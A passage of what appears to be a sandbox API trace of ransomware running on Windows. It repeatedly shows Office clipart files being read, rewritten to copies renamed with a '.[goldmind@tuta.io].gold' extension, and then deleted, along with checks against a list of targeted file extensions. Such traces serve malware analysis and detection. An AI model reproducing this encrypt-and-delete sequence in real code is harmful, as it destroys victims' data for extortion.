lpFileSize=0x2b1ff1c*=5908) returned 1 [0104.635] CloseHandle (hObject=0x3b4) returned 1 [0104.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf")) returned 0x20 [0104.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0104.635] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.635] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0104.638] GetLastError () returned 0x0 [0104.638] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x1714, lpOverlapped=0x0) returned 1 [0104.639] WriteFile (in: hFile=0x198, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x1720, lpOverlapped=0x0) returned 1 [0104.640] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0104.640] WriteFile (in: hFile=0x198, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0104.640] SetEndOfFile (hFile=0x198) returned 1 [0104.640] CloseHandle (hObject=0x198) returned 1 [0104.640] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.641] SetEndOfFile (hFile=0x3b4) returned 1 [0104.642] CloseHandle (hObject=0x3b4) returned 1 [0104.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.642] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf")) returned 1 [0104.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0104.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0104.643] lstrlenW (lpString=".doc") returned 4 [0104.643] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.643] lstrlenW (lpString=".docx") returned 5 [0104.643] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0104.643] lstrlenW (lpString=".pdf") returned 4 [0104.643] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.643] lstrlenW (lpString=".xls") returned 4 [0104.643] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.643] lstrlenW (lpString=".xlsx") returned 5 [0104.643] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0104.643] lstrlenW (lpString=".ppt") returned 4 [0104.643] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0104.643] lstrlenW (lpString=".zip") returned 4 [0104.643] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.643] lstrlenW (lpString=".rar") returned 4 [0104.643] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.643] lstrlenW (lpString=".bz2") returned 4 [0104.643] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.643] lstrlenW (lpString=".7z") returned 3 [0104.643] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0104.643] lstrlenW (lpString=".dbf") returned 4 [0104.643] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0104.643] lstrlenW (lpString=".1cd") returned 4 [0104.643] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0104.644] lstrlenW (lpString=".jpg") returned 4 [0104.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0104.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0104.644] lstrlenW (lpString=".doc") returned 4 [0104.644] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.644] lstrlenW (lpString=".docx") returned 5 [0104.644] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0104.644] lstrlenW (lpString=".pdf") returned 4 [0104.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.644] lstrlenW (lpString=".xls") returned 4 [0104.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.644] lstrlenW (lpString=".xlsx") returned 5 [0104.644] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0104.644] lstrlenW (lpString=".ppt") returned 4 [0104.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0104.644] lstrlenW (lpString=".zip") returned 4 [0104.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.644] lstrlenW (lpString=".rar") returned 4 [0104.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.644] lstrlenW (lpString=".bz2") returned 4 [0104.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.644] lstrlenW (lpString=".7z") returned 3 [0104.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0104.644] lstrlenW (lpString=".dbf") returned 4 [0104.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0104.644] lstrlenW (lpString=".1cd") returned 4 [0104.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0104.644] lstrlenW (lpString=".jpg") returned 4 [0104.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.644] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0104.644] lstrlenW (lpString="J0105272.WMF") returned 12 [0104.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0104.645] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=17728) returned 1 [0104.645] CloseHandle (hObject=0x3b4) returned 1 [0104.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf")) returned 0x20 [0104.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0104.645] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.645] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0104.646] GetLastError () returned 0x0 [0104.646] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x4540, lpOverlapped=0x0) returned 1 [0104.647] WriteFile (in: hFile=0x198, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x4550, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x4550, lpOverlapped=0x0) returned 1 [0104.649] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0104.649] WriteFile (in: hFile=0x198, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0104.649] SetEndOfFile (hFile=0x198) returned 1 [0104.649] CloseHandle (hObject=0x198) returned 1 [0104.649] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.649] SetEndOfFile (hFile=0x3b4) returned 1 [0104.651] CloseHandle (hObject=0x3b4) returned 1 [0104.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf")) returned 1 [0104.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0104.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0104.653] lstrlenW (lpString=".doc") returned 4 [0104.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.653] lstrlenW (lpString=".docx") returned 5 [0104.653] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0104.653] lstrlenW (lpString=".pdf") returned 4 [0104.653] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.653] lstrlenW (lpString=".xls") returned 4 [0104.654] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.654] lstrlenW (lpString=".xlsx") returned 5 [0104.654] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0104.654] lstrlenW (lpString=".ppt") returned 4 [0104.654] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0104.654] lstrlenW (lpString=".zip") returned 4 [0104.654] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.654] lstrlenW (lpString=".rar") returned 4 [0104.654] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.654] lstrlenW (lpString=".bz2") returned 4 [0104.654] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.654] lstrlenW (lpString=".7z") returned 3 [0104.654] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0104.654] lstrlenW (lpString=".dbf") returned 4 [0104.654] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0104.975] lstrlenW (lpString=".1cd") returned 4 [0104.975] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0104.975] lstrlenW (lpString=".jpg") returned 4 [0104.975] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0104.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0104.975] lstrlenW (lpString=".doc") returned 4 [0104.976] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.976] lstrlenW (lpString=".docx") returned 5 [0104.976] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0104.976] lstrlenW (lpString=".pdf") returned 4 [0104.976] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.976] lstrlenW (lpString=".xls") returned 4 [0104.976] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.976] lstrlenW (lpString=".xlsx") returned 5 [0104.976] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0104.976] lstrlenW (lpString=".ppt") returned 4 [0104.976] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0104.976] lstrlenW (lpString=".zip") returned 4 [0104.976] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.976] lstrlenW (lpString=".rar") returned 4 [0104.976] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.976] lstrlenW (lpString=".bz2") returned 4 [0104.976] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.976] lstrlenW (lpString=".7z") returned 3 [0104.976] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0104.976] lstrlenW (lpString=".dbf") returned 4 [0104.976] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0104.976] lstrlenW (lpString=".1cd") returned 4 [0104.976] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0104.976] lstrlenW (lpString=".jpg") returned 4 [0104.976] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.976] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0104.976] lstrlenW (lpString="J0105298.WMF") returned 12 [0104.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0105.110] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=6320) returned 1 [0105.111] CloseHandle (hObject=0x394) returned 1 [0105.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf")) returned 0x20 [0105.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0105.166] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.166] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0105.167] GetLastError () returned 0x0 [0105.167] ReadFile (in: hFile=0x3c4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x18b0, lpOverlapped=0x0) returned 1 [0105.249] WriteFile (in: hFile=0x19c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x18c0, lpOverlapped=0x0) returned 1 [0105.249] ReadFile (in: hFile=0x3c4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.250] WriteFile (in: hFile=0x19c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0105.250] SetEndOfFile (hFile=0x19c) returned 1 [0105.250] CloseHandle (hObject=0x19c) returned 1 [0105.250] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.250] SetEndOfFile (hFile=0x3c4) returned 1 [0105.251] CloseHandle (hObject=0x3c4) returned 1 [0105.252] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.252] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf")) returned 1 [0105.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0105.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0105.252] lstrlenW (lpString=".doc") returned 4 [0105.252] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.252] lstrlenW (lpString=".docx") returned 5 [0105.252] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0105.253] lstrlenW (lpString=".pdf") returned 4 [0105.253] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.253] lstrlenW (lpString=".xls") returned 4 [0105.253] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.253] lstrlenW (lpString=".xlsx") returned 5 [0105.253] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0105.253] lstrlenW (lpString=".ppt") returned 4 [0105.253] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0105.253] lstrlenW (lpString=".zip") returned 4 [0105.253] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.253] lstrlenW (lpString=".rar") returned 4 [0105.253] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.253] lstrlenW (lpString=".bz2") returned 4 [0105.253] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.253] lstrlenW (lpString=".7z") returned 3 [0105.253] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0105.253] lstrlenW (lpString=".dbf") returned 4 [0105.253] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0105.253] lstrlenW (lpString=".1cd") returned 4 [0105.253] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0105.253] lstrlenW (lpString=".jpg") returned 4 [0105.253] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0105.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0105.253] lstrlenW (lpString=".doc") returned 4 [0105.253] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.253] lstrlenW (lpString=".docx") returned 5 [0105.253] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0105.253] lstrlenW (lpString=".pdf") returned 4 [0105.253] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.253] lstrlenW (lpString=".xls") returned 4 [0105.253] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.253] lstrlenW (lpString=".xlsx") returned 5 [0105.253] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0105.253] lstrlenW (lpString=".ppt") returned 4 [0105.253] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0105.253] lstrlenW (lpString=".zip") returned 4 [0105.253] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.253] lstrlenW (lpString=".rar") returned 4 [0105.253] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.253] lstrlenW (lpString=".bz2") returned 4 [0105.253] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.253] lstrlenW (lpString=".7z") returned 3 [0105.253] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0105.253] lstrlenW (lpString=".dbf") returned 4 [0105.253] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0105.253] lstrlenW (lpString=".1cd") returned 4 [0105.253] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0105.254] lstrlenW (lpString=".jpg") returned 4 [0105.254] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.254] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0105.254] lstrlenW (lpString="J0105380.WMF") returned 12 [0105.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0105.254] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=4624) returned 1 [0105.254] CloseHandle (hObject=0x3c4) returned 1 [0105.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf")) returned 0x20 [0105.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0xc0000000, 